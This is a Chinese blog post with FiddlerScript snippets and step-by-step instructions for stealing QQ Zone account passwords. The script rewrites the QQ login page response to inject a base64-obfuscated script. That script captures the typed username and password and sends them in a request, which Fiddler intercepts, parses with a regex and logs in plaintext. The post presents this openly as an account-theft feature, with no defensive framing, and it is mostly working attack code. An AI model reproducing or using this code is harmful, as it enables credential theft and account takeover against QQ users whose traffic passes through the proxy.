FiddlerScript实现对QQ空间账号密码获取

代码片段1

//放入FiddlerScript最开头
import System.Text.RegularExpressions;

代码片段2

//放在OnBeforeRequest上面
    public static RulesOption("是否开启QQ空间盗号功能")
    BindPref("fiddlerscript.rules.daohao")
    var m_daohao: boolean = false;

    static function getQQ(QQBody){
            //下面是正则表达式用法
        var r = new Regex('user=(.*?)&pass=(.*?)$');
        var mc = r.Match(QQBody);
        if(mc.Groups[1].Value == ""){
            //没有匹配到,不再执行后面的代码
            FiddlerObject.log("[提示]:获取QQ空间密码失败,检查一下植入JS代码是否成功");
            return;
        }
        FiddlerObject.log("[提示]:获取账号密码成功,账号为:"+mc.Groups[1].Value+"密码为:"+mc.Groups[2].Value);            

    }

代码片段3


//OnBeforeRequest里面
 if(m_daohao && oSession.fullUrl.Contains("xui.ptlogin2.qq.com/data?user")){
            FiddlerObject.log("[提示]:正在获取账号信息");
            var url = oSession.fullUrl;
            getQQ(url)
            
        }

代码片段4

//OnBeforeResponse里面
 if(m_daohao && oSession.fullUrl.Contains("https://xui.ptlogin2.qq.com/cgi-bin/xlogin?proxy_url=")){
            //解码数据包,防止乱码
            oSession.utilDecodeResponse();         
            
            //替换数据包
            oSession.utilReplaceInResponse("</html>",'<script>eval(atob("ZnVuY3Rpb24gbG9hZFhNTERvYyh1c2VyLHBhc3MpDQp7DQoJdmFyIHhtbGh0dHA7DQoJaWYgKHdpbmRvdy5YTUxIdHRwUmVxdWVzdCkNCgl7DQoJCQ0KCQl4bWxodHRwPW5ldyBYTUxIdHRwUmVxdWVzdCgpOw0KCX0NCgllbHNlDQoJew0KCQkNCgkJeG1saHR0cD1uZXcgQWN0aXZlWE9iamVjdCgiTWljcm9zb2Z0LlhNTEhUVFAiKTsNCgl9DQoJeG1saHR0cC5vbnJlYWR5c3RhdGVjaGFuZ2U9ZnVuY3Rpb24oKQ0KCXsNCgkJaWYgKHhtbGh0dHAucmVhZHlTdGF0ZT09NCAmJiB4bWxodHRwLnN0YXR1cz09MjAwKQ0KCQl7DQoJCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgibXlEaXYiKS5pbm5lckhUTUw9eG1saHR0cC5yZXNwb25zZVRleHQ7DQoJCX0NCgl9DQoJeG1saHR0cC5vcGVuKCJHRVQiLCIvZGF0YT91c2VyPSIrdXNlcisiJnBhc3M9IitwYXNzLHRydWUpOw0KCXhtbGh0dHAuc2VuZCgpOw0KfQ0KDQpkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgibG9naW5fYnV0dG9uIikuYWRkRXZlbnRMaXN0ZW5lcigiY2xpY2siLGZ1bmN0aW9uKCl7DQoJdmFyIHVzZXIgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgidSIpLnZhbHVlOw0KCXZhciBwd2QgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgicCIpLnZhbHVlOw0KCWxvYWRYTUxEb2ModXNlcixwd2QpDQp9KQ=="))</script></html>')
        }

代码使用步骤:

1.点击FiddlerScript

2.复制代码片段1,粘贴到最顶上

 3.点击Go to:OnBeforeRequest

4.复制代码片段2,将代码粘贴到OnBeforeRequest上面,注意粘贴在OnBeforeRquest和括号之间

 5.复制代码片段3,将代码粘贴到OnBeforeRequest里面,注意括号

6.点击Go to:OnBeforeResponse

7.复制代码片段4,将代码粘贴到OnBeforeResponse里面 ,注意在if前面

8.点击Rules,可以自由选择开启或者关闭盗号功能

 9.进入QQ空间,强制刷新QQ空间(Ctrl+F5),然后输入账号密码

10.来到Fiddler,点击Log,查看获取的内容

  • 5
    点赞
  • 31
    收藏
    觉得还不错? 一键收藏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值